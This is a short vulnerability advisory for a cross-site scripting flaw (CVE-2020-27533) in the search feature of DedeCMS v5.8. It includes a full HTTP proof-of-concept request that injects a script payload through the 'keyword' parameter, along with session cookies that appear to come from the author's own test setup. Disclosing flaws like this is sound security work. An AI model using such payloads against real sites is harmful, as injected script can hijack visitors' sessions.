DedeCMS 5.8 Cross Site Scripting

Credit: Noth
Risk: Low
Local: No
Remote: Yes

CVSS Base Score: 3.5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 6.8/10
Exploit range: Remote
Attack complexity: Medium
Authentication: Single time
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: DedeCMS v.5.8 - "keyword" Cross-Site Scripting # Date: 2020-07-27 # Exploit Author: Noth # Vendor Homepage: # Software Link: # Version: v.5.8 # CVE : CVE-2020-27533 A Cross Site Scripting (XSS) issue was discovered in the search feature of DedeCMS v.5.8 that allows malicious users to inject code into web pages, and other users will be affected when viewing web pages. PoC : POST /DedeCMSv5-master/src/dede/action_search.php HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 47 Origin: Connection: close Referer: Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=dgj9gs48q9nbrckdq0ei5grjd7; _csrf_name_7ac3ea0e=8a824367d97bb8f984d4af7a1ad11308; _csrf_name_7ac3ea0e__ckMd5=c692dd4f707ea756; DedeUserID=1; DedeUserID__ckMd5=7e44b1ee92d784aa; DedeLoginTime=1603530632; DedeLoginTime__ckMd5=69967c5a8db15fb4; dede_csrf_token=80866e4429220e784f2514d38de9a5ea; dede_csrf_token__ckMd5=de396c60d5d75d93 Upgrade-Insecure-Requests: 1 keyword="><script>alert(1)</script>

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